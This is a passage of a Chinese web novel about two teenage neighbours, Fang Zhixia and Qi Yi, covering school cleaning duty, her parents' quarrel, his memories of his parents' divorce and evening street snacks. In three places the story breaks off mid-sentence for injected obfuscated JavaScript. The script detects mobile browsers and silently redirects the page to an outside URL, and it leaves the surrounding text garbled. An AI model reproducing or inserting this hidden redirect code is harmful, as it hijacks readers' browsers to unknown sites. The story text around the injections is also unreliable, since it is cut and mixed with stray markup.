方枳夏背对他翻了个白眼,默了两秒,不太情愿道:“先去洗抹布。”
两人就一前一后拿着抹布穿过走廊,去卫生间。
因为是整栋楼都要大扫除,卫生间的水池前人很多。
好不容易才等到一个空下来的水龙头,方枳夏淡声道:“我先洗,你等一下。”
徐牧飞盯着她的后脑勺,应了一声。
旁边,祁奕刚从男厕所出来,刚要去远处另一边空着的水龙头洗手,脑袋还没反应过来有什么不对劲,目光先锁定两个人,然后退后三步回去。
方枳夏站在徐牧飞旁边,“洗抹布,不是打湿。光这样冲一下,等会儿擦得玻璃上全是印子。你洗干净点。”
徐牧飞:“这抹布本来就这么脏,哪能洗干净。”
方枳夏:“那好歹认真点洗啊。”
祁奕脸一下变得老臭,抄个手,一言不发地站在那。
方枳夏一回头,就对上他那张冷脸,表情很难以言喻。
就好像…被抛弃或者背叛了一样,眼神里甚至有点幽怨。
祁奕对上她的目光,伸手把她拉到一边,板着脸,压低声音:“你为什么跟他一起洗抹布。你们做卫生在同一组吗?”
水池这边人多,两人身高又差着快一个头,祁奕低头在她耳边说话,方枳夏感觉耳边的绒毛被他的气息扫得有点痒。
他声音也很低,这样说话时,听起来酥酥麻麻的。
方枳夏扬起头看他一眼,默了一秒,告诉他:“不止我跟他,还有你。我们三个人一组。”
祁奕:“…………”
这卫生委员也是有点毛病。
徐牧飞本来被手里的臭抹布烦得不行,转过头,恼道:“不是要做卫生吗,把我拉来洗抹布,你俩在那聊天?”
“赶快点,我晚上还有事呢,再聊天你俩就自己做。”
-
三个人并排在教室外面擦窗台,又搭着梯子站上去擦玻璃。
在人来人往的走廊,形成了一道亮丽的风景线。
走过路过的同学都要回头多看两眼,发现这三个人全都一脸的不情愿。
偏偏擦玻璃又是难度最高的工作之一,半小时之后,楼里的人都走得差不多,来检查卫生的老师还是没让他们通过。
“这个玻璃上都是水印。”
“窗台缝隙也要擦的,尤其是这些边边角角。”
“窗框上边还是有灰没擦干净。”
……
方枳夏已经
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14419151|153448||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
麻了,徐牧飞气得甚至去便利店买了一大叠全新的抹布。
最后,终于通过老师的检察。
眼见着天色也要黑了,三个人在空荡荡的走廊,去卫生间洗最后一遍抹布。
先前人满为患的水池前,这会儿也只有他们三个人。
完全重复又不用动脑的工作,让方枳夏有点无聊。
她洗完抹布,灵机一动,叫了声:“祁奕,看我。”
祁奕转过头,她就翘着嘴角,把手里的一小捧水往他肩膀方向泼。
祁奕冷笑一声,他早就有预料,在那捧水要落在他身上之前,迅速往旁边一闪。
此时,徐牧飞大声:“我靠!”
方枳夏本来是控制好方向的,水泼过去应该正好擦到祁奕的侧脸。
可被他躲开,正好全都淋到了徐牧飞身上。
从脖子到腰,那身短袖全是湿了。
徐牧飞很难以置信地低头,看着他湿透的衣服,咬牙切齿:“不是。你俩真的跟我有仇吧。”
方枳夏哑然,祁奕一时间也陷入沉默。
她跟徐牧飞完全不熟,没到可以随便恶作剧开玩笑的程度。
方枳夏抿抿唇,小声问:“那个,…徐牧飞,你还有可以换的短袖吗?”
徐牧飞一边拧衣服,一边没好气道:“谁没事带那么多短袖来学校?”
结果把衣服拧得皱皱巴巴,难看得要命,他作势掀起衣摆,要把上衣直接脱了。
祁奕额角抽了下,往前一步,挡住方枳夏的视线。
方枳夏在他身后,安静几秒,还是问:“你在这脱了干嘛,准备裸奔吗…”
徐牧飞:“怪谁?”
“……”
方枳夏又抿嘴,知道她错在先,为了避免矛盾再度升级,小小声说了句:“…我。对不起,不是故意的,我准备泼祁奕来着。”
长大之后,除了对待祁奕,她还是很讲道理的。
祁奕抬了下眉,好像想到了解决办法,转过身,垂眸看她:“把你校服外套给我。”
方枳夏“哦”一声,三个人里,只有她既穿了校服外套,里面又穿了短袖。
她把外套脱下来递给祁奕。
方枳夏以为他要把她的外套借给徐牧飞穿。不想,祁奕拿到外套,就推着她的肩膀出卫生间,
“你先回教室等我。”
“啊?…哦。”
方枳夏不明所以地回到被推出去,乖乖回到教室。
她顺便反省了自己的行为,得出结论——以后跟祁奕闹着玩要在只有他们两个人的场合,避开其他所有可能被误伤的受害者。
过不多久,徐牧飞和祁奕也回来了。
徐牧飞身上穿着祁奕的短袖,祁奕穿着她小一码的校服外套,领子竖起来,拉链拉到最高。
两个男生脸都黑得像锅底一样,满眼的不情愿。
徐牧飞撇撇嘴:“下周一洗了还你。”
祁奕冷冰冰道:“随便,不还也行。”
徐牧飞背上包,低头拿手机发消息,出了教室。
教室里只剩下最后两人。
方枳夏看向祁奕,虽然校服外套都偏宽松,但身高摆在那,他穿她的外套明显是短了一截,有点憋屈。
唯一的好处就是,显得他腿更长了。
方枳夏走过去,讨好似地拉拉他的袖子,说话声音都比平时细了些:“我们回家吧。”
祁奕垂眼看她片刻,难得看到她这么好态度,本来平直的嘴角也弯起很浅的弧度。
他抬手,在方枳夏脑袋上胡乱揉了一把。
衣服上除了他们两家同款的洗衣液味,还有她身上一种淡淡的香味。
方枳夏拍掉他的手,瞥他一眼:“别乱动,都给我摸乱了。”
她重新扎了下马尾。
从教学楼到校门,一路上也已经没什么人。
两人并肩往外走,祁奕拉了拉他身上的小号校服领子,忽然想起刚才方枳夏和徐牧飞一起洗抹布的画面。
他莫名有点不爽,沉默须臾,似是轻描淡写地说:“对了,以后少理那个徐牧飞,他这人就不太正常。”
方枳夏想了想,“本来我也觉得他不太正常,刚才那件事之后,又觉得还好。”
祁奕眯了下眼,偏头看她:“他哪里还好?”
方枳夏又思考了一下:“好吧,也就那样,充其量算是有点正常。反正,我不会跟他那样的人交朋友的。”
“嗯,那就好。”
祁奕低下头,重新露出满意的表情。
10.Chapter 10
当天晚上回家,方枳夏躺在床上刷手机时,微信里收到一条新的好友验证。
点开之后,显示对方是通过微信号搜索添加,虽然没有验证消息内容,但大概想想就知道是谁。
微信名叫XMF。
方枳夏迟疑两秒,暂且先通过好友。
徐牧飞很快发来消息:[我是徐牧飞。]
[帮忙问问,姓祁的那件短袖能不能水洗,我家阿姨说衣服上没找到洗涤标。]
祁奕的确是有把所有贴身衣服上的商标和洗涤标剪得干干净净的习惯,因为嫌扎。
方枳夏想了想,他也没有哪件夏天的衣服是只能干洗的,尤其那些短袖。
她直接回复:[水洗就行。]
徐牧飞:[哦。那周一给洗好之后我放你桌上,你帮我给他。]
方枳夏皱眉:[你自己给他不就得了。]
徐牧飞:[懒得。]
“……”
搞不懂这些男生。
方枳夏无言以对,回了个“哦”。
-
隔天是周日,方枳夏例行会在周末睡个大懒觉。
但这天清早,她正睡得迷糊,被卧室外面的摔门声和争执声吵醒。
是她妈妈蒋月娥和爸爸方正韬的声音。
方枳夏又翻了几次身,外面的声音还没停下,她也没心情继续睡了,揉了揉眼睛,穿着睡衣出去。
还隔着一道门,她听到主卧里传来小声的抽泣。
蒋月娥哽声:“什么叫我每天都在家,我又不是什么都不干,做饭洗衣服照顾夏夏,从早到晚我也没闲过的。这两年你每天都这么晚回来,我埋怨过你吗?”
方正韬:“是我想那么晚回家的吗,还不都是为了工作赚钱。现在夏夏上高中,每天晚自习那么晚结束,我最近应酬都不敢喝酒,要十点半去学校接她,领导都不满意了。到时候夏夏毕业,说不定要出国去留学读个研,还要再买房,这些压力都在我一个人头上。”
蒋月娥:“当时我辞职的时候你也同意,要是现在后悔了,过不下去大不了不过,我再去找工作,带着夏夏我们两个人过,你就能轻松点。”
方正韬:“至于吗?我是这个意思吗?我看是你不想过。”
方枳夏揉了揉眉心,咬着唇在主卧门口徘徊许久,还是没决定好要不要进去劝。
自从蒋月娥辞职在家当全职主妇,他们俩时不时就会吵一架。
原本都是好脾气的人,从小吵到大吵,有次方正韬还一气之下出去住了好几天酒店。
每次吵架的原因和内容都差不多,她劝也不管用。
方枳夏正犹豫着,主卧的门从里面被重重推开。
方正韬开门时满脸不耐烦,看见她在附近,马上调整表情,像是什么都没发生一样,问:“夏夏醒了啊?”
方枳夏轻“嗯”一声,往卧室里望了眼:“你们…”
蒋月娥也出来了,眼睛还有点红,也是平静的语气道:“夏夏,你先去祁奕家,跟他一块出去吃早饭去,吃完就在他家先写作业。”
方枳夏张了张口,还想说些什么。
蒋月娥先一步道:“不关你的事夏夏,我和你爸有事商量,你先去。”
方枳夏只好换了鞋,拿上手机和书包出门,去敲开对面的门。
好一会儿都没人应,估计是宋婉青又不在家,祁奕肯定还在睡懒觉。
方枳夏又站门口哐哐敲了一会儿,门终于开了。
祁奕头发乱得像鸡窝,炸着毛,睡眼窸窣地看她,声音也还是哑的:“干嘛啊…这么早。”
方枳夏先迈一步进去,也提不起什么精神,耷拉着眼皮,蔫巴巴道:“我爸妈赶我,我妈让我过来叫你吃早饭。”
祁奕:“…这么早,今天周日。”
方枳夏半眯着眼,跟着他进房间:“我也还没什么胃口。不然就再睡会儿吧。”
祁奕刚才睡得正熟被吵醒,这会儿神智比她还不清醒。
翻身上床,还莫名挪挪身子,让了一半位置给她。
方枳夏就“咚”得往他床上一倒,满脑子还都是刚才她爸妈吵架时说的那些话。
因为她,蒋月娥当时才下定决心辞职的,好像也是因为她,方正韬现在工作压力才这么大。
方枳夏推推祁奕,嘀咕道:“下周开始晚自习结束我们俩坐校车或者公交回家吧,跟我爸说一声,别让他来接了。”
祁奕困困地应了声“好”。
然后又过了几秒,他好像忽然反应过来两个人的年龄,蹭得一下从床上坐起来。
把方枳夏都吓了一跳,满脸问号地看向他。
祁奕迅速下床,耳朵微有点红,也不看她,不太自然道:“你在这睡吧,我去我妈房间睡。”
方枳夏挠了挠头,不明所以地看他抱着枕头出去。
于是,祁奕出去后,她就理所当然地独占一张床,从飘窗上扯了个靠枕过来垫在脑袋底下。
他这里的床垫和被褥好像也很高级,都特别软,有股很清爽的香味,方枳夏躺在这,好像整个人都陷进云朵里一样。
她周身都被好闻的味道包裹。
她本来还在烦心父母吵架的事,后来想着想着就睡着了。
再次睁眼,已经快到中午,外面天色大亮。
方枳夏开门出去,看见连祁奕都醒了,应该已经洗过澡,换了身短袖和短裤,正靠在沙发上玩游戏机。
听到动静,祁奕掀起眼皮,声音有点懒洋洋的:“醒了?”
“你现在比我还能睡。”
方枳夏:“可能懒猪属性会传染吧。”
她掩面打着哈欠,去卫生间洗漱。
出来时,祁奕在用手机看外卖,问她想吃什么。
她就坐到他旁边,把脑袋凑过去,一边刷外卖软件一边问:“宋阿姨这两天都不在家吗?”
祁奕在她选好的肠粉店里加了一份,漫不经心道:“出差去了,估计今晚或者下周才回来吧。”
点好外卖,方枳夏把手机还给他,安静半晌,还是开口:“祁奕。”
“嗯?”
方枳夏靠在沙发上,垂着眼眸,低声道:“我爸妈早上吵架了。”
祁奕默了下,看向她,嗓音比平时柔和一些:“因为什么?”
“就还是那些事。”
方枳夏叹一声气,总结道:“我爸工作压力大,我妈每天在家待着也心烦,说到底可能还是因为我。”
“而且这次吵挺凶的,又提到要分开过。我妈还赶我来你这,说她要跟我爸商量事情,会不会是离婚的事啊…”
祁奕轻拍拍她的肩膀,认真道:“要是真的考虑离婚,也是叔叔阿姨两个人觉得过不下去,不是因为你。”
也不知道是不是受蒋月娥影响,方枳夏现在考虑问题时也开始悲观。
虽然只是他爸妈吵架的时候提到分开过,但她已经开始思考如果他们真的离婚,往后的生活会是什么样的。
方枳夏偏头,看着祁奕那双漂亮的眼睛,小声问:“当时祁叔叔和宋阿姨…你是过了多久才接受的。”
她清楚记得,祁奕的父母是在他四年级时候离婚的。
也是在那之后,他们俩虽然还是会经常打架吵架闹矛盾,但关系变得比从前要好更多。
那段时间,宋婉青也是跟祁奕爸爸天天吵架,每天都把他往她家赶,偶尔晚上也会住她家。
这小区也都是小户型,方枳夏家没多余的房间,蒋月娥就在她房间给祁奕多打了个张地铺。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14423051|153448||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
虽然铺得很软,但方枳夏还是看他觉得可怜,晚上让他上床跟她一块睡。
都是小学生,没在意那么多男女主边界的问题。
后来他们真的离婚了,所有手续办完,祁安年收拾东西搬去省会。
那天,祁奕趴在她卧室窗户口,看着祁安年远去的背影,咬着牙,一句话都没说。
方枳夏探了下脑袋,发现他在偷偷掉眼泪。
她拍了拍祁奕的头,说不出太多安慰的话,甚至对父母离婚这件事都没有太过具象的认知。
她只说:“没关系,祁叔叔不是说了吗,一有空还会回来看你的。”
祁奕声音哽咽,闷闷道:“可是以后他跟我们已经不是一家人了。”
方枳夏继续奶声奶气地安慰:“我可以跟你当一家人。”
祁奕泪眼汪汪的,还瞪她:“谁要跟你当一家人。”
方枳夏气得重重推他一把:“哼,你爱当不当。”
祁奕一个踉跄,然后他们两个小孩又在房间打起来了,他也忘记哭了,跟她打得热火朝天,半天都分不出个胜负,最后还得蒋月娥和方正韬进来拉架。
小孩子的悲伤去得快,来得也快。
再后来,很长一段时间,祁奕都还是会因为这件事伤心。
他又不敢问宋婉青,只能自己趴在窗户口上眼巴巴望。
尤其是周末或者节假日,他待得最多是地方就是窗台边。
有时候方枳夏也在,祁奕会茫然地问:“我爸他真的会回来看我吗?”
方枳夏又看他可怜,笃定地说:“肯定会的!都说好了的。”
也不记得到底过了多久,祁奕像是忘记了这件事,没事干也不趴在窗户口了,也不再刻意等着祁安年回来。
时间久了,好像也就习惯少一个人的生活。
……
思绪收回,祁奕去厨房冰箱里给她拿饮料,方枳夏拖着脚步跟过去,挑了瓶玉米汁。
祁奕回忆着说:“大概小半年吧,但其实之后很长一段时间想起来还是会难受。”
“啊…”
方枳夏更加丧气:“这么久。”
“那现在呢?”
祁奕垂眼看她,轻描淡写道:“现在不太会,这么久过去,早都习惯了。”
方枳夏小口喝着玉米汁,依旧愁眉不展。
她开始思考她能做些什么,怎样让蒋月娥轻松点,让方正韬不那么有压力。
祁奕俯身,跟她保持同一高度,看着她的眼睛。
方枳夏凶巴巴道:“看什么看?”
祁奕直回身子,“还以为你哭了。”
方枳夏“哼”一声,“哪有那么容易哭。”
她自己琢磨了一会儿,不太确定地问:“那你觉得…我爸妈真离婚的可能性大吗?”
祁奕想了想,摇头:“我觉得,应该不大。”
方枳夏沉默须臾,突然多愁善感起来,叹息一声,很小声地问:“是不是谁都不能保证一直不会离开啊。”
祁奕安静几秒,转过身往沙发那边走,有点别扭地低声吐出一个字:“我?”
方枳夏盖上玉米汁的瓶盖,也不太自在地抿抿唇:“嘁,谁稀罕…”
她和祁奕之间这种正常又温馨的交流太少,两个人都不太习惯这样的相处状态。
祁奕嗖得回头,瞪她:“又想打架?”
方枳夏:“不用打,你又打不过我,今天不想欺负弱小。”
祁奕:“……”
他懒得说话了,往沙发上一靠,继续低头玩游戏机。
方枳夏也坐过去,过了好久,冷不丁问:“那等你长大以后结婚了呢?”
祁奕打着游戏,慢腾腾回答:“暂时没这方面考虑过。”
11.Chapter 11
下午,方枳夏在祁奕家都快把作业写完了,蒋月娥才过来敲门叫她回家。
好像今天什么事都没发生过,蒋月娥弯着眼角问:“祁奕,来阿姨家一起吃晚饭?”
祁奕摇摇头,礼貌道:“下次吧阿姨,一会儿我要去学校打球,有校队的训练。”
蒋月娥“诶哟”一声:“高中也参加校队啊,周末还训练,那真是辛苦。”
祁奕说:“还好,也当是放松了。”
蒋月娥点头,语重心长道:“也是,自己把运动和学习兼顾好就行。”
简单聊了几句,方枳夏跟蒋月娥一起回家。
她进门时,厨房里已经在煲排骨汤,房子里到处都是香味。
方正韬正坐在沙发上,也是无事发生的表情,像平时一样,一边剥蒜,一边看电视上放的体育类节目。
蒋月娥穿上围裙又进了厨房,“晚饭一会儿就好,我再炒两个菜。”
“今天晚饭这么丰盛啊…”
方枳夏换了鞋,跟进厨房。
虽然家里的气氛一切如常,就好像她爸妈早上吵架是她做梦梦到的一样,但她仍然隐隐觉得哪里不对劲。
如果非要说出个所以然,那大概就是这两人太正常了,所以显得不太正常。
蒋月娥和方正韬心思偏重的人,以往每次吵完架,还会再有几天“余波”,互相之间都不怎么说话,等双方都自己消化好,才渐渐和好如初。
但这回都完全没个过渡的。
方枳夏靠在厨房的墙上,看着蒋月娥切葱。
她往外瞄了一眼,压低声音问:“妈,你跟我爸好了吗?”
蒋月娥背对她,回答得很快:“什么好不好的,本来也没什么事。夫妻吵架这不是很正常,没事,这也不是你该操心的。”
“那就好。”
方枳夏顿了几秒,酝酿了下情绪,不太自然地开口:“其实你们不用因为我有压力的,等大学毕业,我就能自己工作赚钱了,房子我也能自己攒钱买。如果想出国交换什么的,我听楼上的姐姐说,都可以申请奖学金的。”
蒋月娥切菜的手停住,转过头,眼神很温柔,轻叹道:“我们夏夏真是长大了。”
“不过你现在确实不用你考虑,你只管把书读好,成绩保持住,到时候考个好大学。早上你爸说得都是吵架时候的气话,别往心里去。”
方枳夏“嗯”了声。
蒋月娥又叹一声气,湿漉漉带着葱味的手掐了掐她的脸,“看来夏夏还真是遗传了我们,人不大,心思挺重。”
“你小时候大大咧咧的,一天到晚闹腾得像要上天一样,我还纳闷,这性格到底是遗传谁。”
“小时候…”方枳夏挠挠头,嘀咕:“也还好吧。”
蒋月娥笑了声:“你自己都忘了吧,你小学的时候,经常追着人家祁奕满屋子打,小姑娘家家凶神恶煞的。还好你宋阿姨心大,不跟你计较。”
方枳夏:“……”
好像是有这回事。
蒋月娥:“好了,去把你爸剥好的蒜拿过来,洗手准备吃饭。”
-
隔天早上,还是方正韬送方枳夏上学,顺便再把祁奕捎上。
祁奕照常靠在后排睡觉。
走到半路,方枳夏身子前倾,开口:“爸,以后下晚自习你就别过来接了,我俩坐晚班公交或者校车回去吧。”
方正韬:“哪怎么行?你们每天十点半才下晚自习,深更半夜的,自己回家多危险。”
方枳夏反驳道:“一点都不危险,学校里好多同学晚上都是自己坐车回。你也看见了,一到下晚自习的时间,学校门口这条路隔几米就停着辆警车。”
“而且,我这不是跟祁奕一起吗。”
祁奕还在旁边睡得迷迷糊糊,眼睛都没睁。
方枳夏一脚踢到他鞋子侧面。
祁奕也没睡太死,皱着眉睁开眼,反应了一下,哑着嗓子应道:“对,叔叔,我们自己回就行。”
方正韬纠结片刻,“那你们先自己回家试试,觉得不行我就还是来接你们。”
方枳夏笑起来:“放心吧,没问题的!”
难得今天徐牧飞没有踩着早读铃声进班,方枳夏到的时候,他的书包已经放在位置上,人却不在。
估计又去学校便利店或者哪里闲逛去了。
再往她的位置走,方枳夏看到她桌上已经有个纸袋。
里面装着祁奕的衣服,折得四四方方的,还用洗衣店那种塑料膜包好。
方枳夏转头,把纸袋往祁奕桌上一丢,“徐牧飞还你的衣服。”
祁奕也刚放下书包,看向她:“怎么在你那里?”
方枳夏耸耸肩:“他微信上跟我说,让我帮忙给你的。”
祁奕蹙眉,拎起纸袋里的衣服看了眼,“你们还加了微信?他为什么不直接还给我。”
方枳夏:“那谁知道。”
祁奕抿抿嘴,把纸袋胡乱塞到桌兜里,嘀咕:“神经。”
明明昨天训练的时候就见过面,还不直接还给他,非要让方枳夏转交。
他回家要把这件衣服用消毒水再泡一遍,去去神经气。
-
周一所有人都没什么精神,直到晚自习结束的那一刻。
外面天色已经全黑,窗户口有明黄的路灯灯光映进来,教室里的人一边聊天,一边窸窸窣窣收拾东西。
方枳夏前阵子就听说,学校旁边的小巷子里每到他们放学的时间就很热闹,商铺旁边有一条自然形成的小吃街,晚上十点多灯火通明,卖什么的都有,专为实验一中的高中生们量身打造。
最近风头不紧,好久都没有城管过来抓人,摆摊的小贩越来越多,那条巷子都快挤不下了。
今天开始他们自己坐车回家,方枳夏收拾着书包,回头敲敲祁奕的桌子:“我们出去坐公交吧,顺便去卖小吃的那条巷子转转。”
祁奕还没收书包,坐在位置上低着头,专心致志思考今天老师留的一道压轴难题。
他心不在焉地“嗯”了一声,“再等我几分钟。”
方枳夏又看向旁边同样也还在做题的林言心,“要跟我们一起去吗?你好像挺能吃辣的,听说那条街上也卖变态辣烤鸡翅的。”
林言心抬了下头,小声道:“你们去吧,我就算了,我妈就在校门口接我…她不让我吃那些,她说不卫生…”
“啊,好吧。”
方枳夏就拿出手机边看边等,直到十分钟后祁奕把那道题解出来。
这人对数学、物理两科的兴趣真的很大,出校门的路上,祁奕还在跟她讨论那道题的第二种解法。
方枳夏:“会一种解法不就行了,写两种在卷子上又不会给你多加分。”
祁奕:“我那种解得更快,考试的时候节约时间。”
方枳夏:“但你那个明显更难想到好吗?”
“我觉得挺好想的。”
祁奕刚才做题做得心情很愉悦,有点小得意地勾了下唇,慢悠悠地说:“哦,忘了考虑你的智力水平问题。”
方枳夏锤他一拳:“搞得你智力水平多高一样,下次考试作文别跑题再跟你大哥说这话。”
……
要去的巷子口还挺隐蔽,出了校门往公交站方向走,遇到第二个小路口拐进去才到。
果然和同学们说的一样,都快十一点了,还亮堂堂的,巷子里飘着各种食物的香味,卖小吃的摊贩一家挨着一家,都快挤不下了,跟蒋月娥以前带她逛过的早集差不多热闹。
除了摆摊卖吃的的,侧面的商铺也基本都没关门,有文具店、书店、精品店,还有门口放着个扩音设备吼着“倒闭啦,倒闭啦,最后三天亏本促销”的杂货店。
晚自习上到这个点,是个人都饿了。
方枳夏环视一周,咽了咽口水,“怎么办,哪个都好想吃。这边有炸串,那边有烤翅,啊,煎豆腐,还有鸡蛋灌饼!”
“你在报菜名吗。”
祁奕拉着她往边上挪,躲开一个吃着炸串不看路的男生。
方枳夏犹豫了半天,看向他:“要不你选一个吧,我有点挑不出来。唉,为什么一个人只有一个胃。”
祁奕: “你下辈子可以当骆驼,那就能有三个胃了。”
方枳夏:“也不太好,当骆驼只能吃草。”
人实在太多,祁奕跟她一前一后挤着往前走。
他左看右看,眼神里都透着点小嫌弃。
这些小摊的卫生状况都实在堪忧。卖炸串的小摊油桶里的油都发黑了,卖肉饼的小贩放肉馅的盒子也不盖上,上面飞着几只小虫,卖烤翅的倒是还行,就是调料桶太脏,外面都糊着一层陈年污渍。
这些东西看不见就算了,现在就在眼前,总觉得不太舒服。
到一家卖鸡蛋灌饼的摊贩前,祁奕终于停住脚步,勉强道:“就吃这个吧。”
方枳夏看过去。
她一个吃街边摊不怎么在意卫生问题的人,都不由感叹:“哇,这家看起来好干净啊,排队的人也不多。”
所有的油罐调料罐都擦的锃亮,铲子也是干干净净的,铁板周围的缝隙里都看不到污垢,卖鸡蛋灌饼的老奶奶还戴了手套。
两个人过去,排在队末。
刚刚还没注意,站过来才发现,排在他们前面的是他们班班长。
王康林看起来不像是放学会来这种小巷子吃路边摊的,不过,他在排队的时候,手里还拿着小单词书背单词。
一路排过去,他都在专注地背单词,甚至没发现身后站着两个同班同学,颇有“在闹市中读书”那意思。
倒是身边有经过的学生,不时看向他们这边,小小声在说:“看,看,那就是祁奕。”
“哇,好帅啊,为什么有人吃路边摊都这么帅。”
“……”
等排到王康林,也差不多快轮到他们。
方枳夏一边
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439927|153448||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着老奶奶煎鸡蛋灌饼,一边思考她等会儿要吃什么口味的酱。
然后,她惊讶地发现,这个奶奶给王康林多加了两个鸡蛋和一根火腿肠!
泼天的富贵。
老奶奶动作不像旁边的小贩那么熟练,干什么都慢条斯理的,等了好一阵,她才把王康林的鸡蛋灌饼做好。
王康林接过来,“奶奶,我…”
刚说了两个字,就被老奶奶打断,她往后看了一眼,笑出满脸皱纹,很慈祥的样子:“吃了就赶紧回家去,明天都还要早起呢,别在外面待那么晚。”
王康林没再说什么,转过身,看到祁奕和方枳夏时,轻点了下头算是打招呼,依旧是平常那种正经又无波无澜的表情。
轮到方枳夏,她纠结半天,要了份加火腿肠刷香辣酱的,祁奕要了份加鸡柳加番茄酱的。
两个人都拿到,就去公交站那边吃边等车。
夜色正浓,公交站两边的路灯把到处照得亮堂堂的,旁边有很多跟他们一样在等车的学生,灯下一片小飞虫在迎着光往上冲,后面的草丛中传来阵阵蝉鸣。
方枳夏吃了两口,评价道:“好像一般,下次我们换一家试试,我觉得旁边那家卖手抓饼的好像不错。”
“不换,下次还吃这家。”
祁奕不疾不徐地陈述一个事实:“卖手抓饼的那个人直接用手抓面饼,他指甲缝里都是黑的,也不知道多久没洗过手。”
“……”
方枳夏用胳膊肘打他一下:“你干嘛非要说出来。听得我现在也不想吃那家了。”
她垂眼,疑惑道:“不对,是不是你这个番茄酱的更好吃啊?”
“你每次都觉得我的更好吃。”
祁奕早就习以为常,隔着塑料袋掰了一半分给她。
“哇,真的更好吃,再给我点?”
“…我没剩多少了。”
“我把香辣的分你。”
“我不要。”
“就再分一小点?明天我请你。”
“……”
最后方枳夏还是吃了接近两份。
夜班的公交车也到了,两个人伴着外面的月色,晃晃悠悠回了小区。
-
祁奕拿出钥匙开门,发现门口多了个行李箱和一双鞋,他微挑了下眉。
宋婉青出差回来了。
他换好鞋,就听到卧室传来熟悉的大嗓门:“祁奕?”
“是我。”
宋婉青换了身衣服出来,看起来风尘仆仆的,应该也是刚到家没多久。
她看了眼时间,“诶哟,都快十一点半了,你们晚自习放学这么晚啊。”
祁奕放下书包,平声道:“今天坐公交回来,稍微晚了一小会儿。你刚到家?”
“对啊,行李都还没来得及收拾。”
宋婉青问:“今天坐公交,那之前都是方枳夏她爸去接你们?”
祁奕“嗯”了声。
宋婉青:“那以后还是自己坐公交回,别老麻烦人家,老方现在工作也怪忙的。”
“每天这个点,唉,学校也真是。你把夏夏照顾好啊,大晚上的,别遇到坏人出什么事。”
祁奕正准备答应,听到宋婉青又说:“算了,夏夏也不用你照顾,人家初中就把跆拳道黑带考了。但你是男孩子,能照顾还是多照顾。”
“……”
什么话都被他妈说了,祁奕只能沉默。
宋婉青快步去门口:“对了,去京市出差,给你带了点东西。”
祁奕跟过去,好奇道:“什么东西?”
宋婉青蹲下身,把行李箱放平,打开锁扣。
映入眼帘全都是女孩子的东西,有粉色的毛绒玩偶、女装的衣服包装袋、粉色的游戏手柄、精致的笔记本,甚至还有两袋狗零食。
宋婉青一边翻东西,一边解说道:“哦,这些都是给夏夏的。今天太晚了,明天晚上我给她送过去。”
“这个零食是给楼下阿黄的,路过一家宠物店,这个是店老板自己做的。”
祁奕抽了抽嘴角:“…给我的呢?”
宋婉青笑,“急什么,肯定有你的啊,你是我亲儿子。”
终于,她从最下层翻出很小一盒糕点,塞到他手里,“喏,这个是你的,听同事说味道还行。”
祁奕拿着手里那盒明显是在机场或者特产超市买的游客专属伴手礼,既有预料,又有点难以相信地看了眼他妈:“没了?”
宋婉青站起身,摆摆手:“大老远带东西怪重的,我箱子就这么大,也放不下别的。”
“哦对,明天带去学校,给夏夏也尝尝,她爱吃这种甜的。”
“……”
就这一小盒伴手礼,还不完全是给他的。
祁奕张了张口,最后一言难尽地吐出两个字:“…行吧。”
他拿着盒子往屋里走,暗叹一声气。
在这个家,他的地位向来如此,都习惯了。
12.Chapter 12
宋婉青出差回来,最开心的人非方枳夏莫属。
除了那半行李箱的礼物和纪念品之外,宋婉青几乎每天晚上回来都给方枳夏带好吃的,造型好看的小蛋糕、印着小熊图案的现烤饼干、牛轧糖等等各种。
十多年前,宋婉青打算要小孩的时候,非常希望能有个女儿,甚至还去好几个庙里许过愿。
没想到天不遂她愿,最后还是获得了个儿子。
但好巧不巧,几个月之后,住在隔壁的蒋月娥就生了个女儿。
方枳夏还没去乡下的那几年,宋婉青买给她的绘本和玩具比买给祁奕的还要多。
……
这几天,方枳夏去学校都带着各种甜品和零食,晚上下晚自习还要去旁边那条小吃街买鸡蛋灌饼当夜宵。
也就四五天的时间,祁奕都察觉到,她的脸肉眼可见地圆了一小圈。
跟他们楼下爷爷家的那只秋田犬阿黄一样。
周六早上,他们俩最先到教室。
方枳夏一边背文言文准备今天第一节课的默写,一边打开今早下楼前宋婉青给她的蛋糕盒。
蛋糕上涂了层青苹果味的果酱,是绿色的,造型也是圆滚滚的一颗苹果,用叉子划开,一层层松软的面包中间,夹着现做的苹果酱,甜而不腻。
方枳夏难得慷慨地从桌兜里取出一个新的纸碟,把‘苹果’分了半个,转过头,屈指敲敲斜后排的桌子:“给你。”
祁奕抬了下头,嗓音懒洋洋的,“这个不好吃吗?有怪味,还是你吃不下了?”
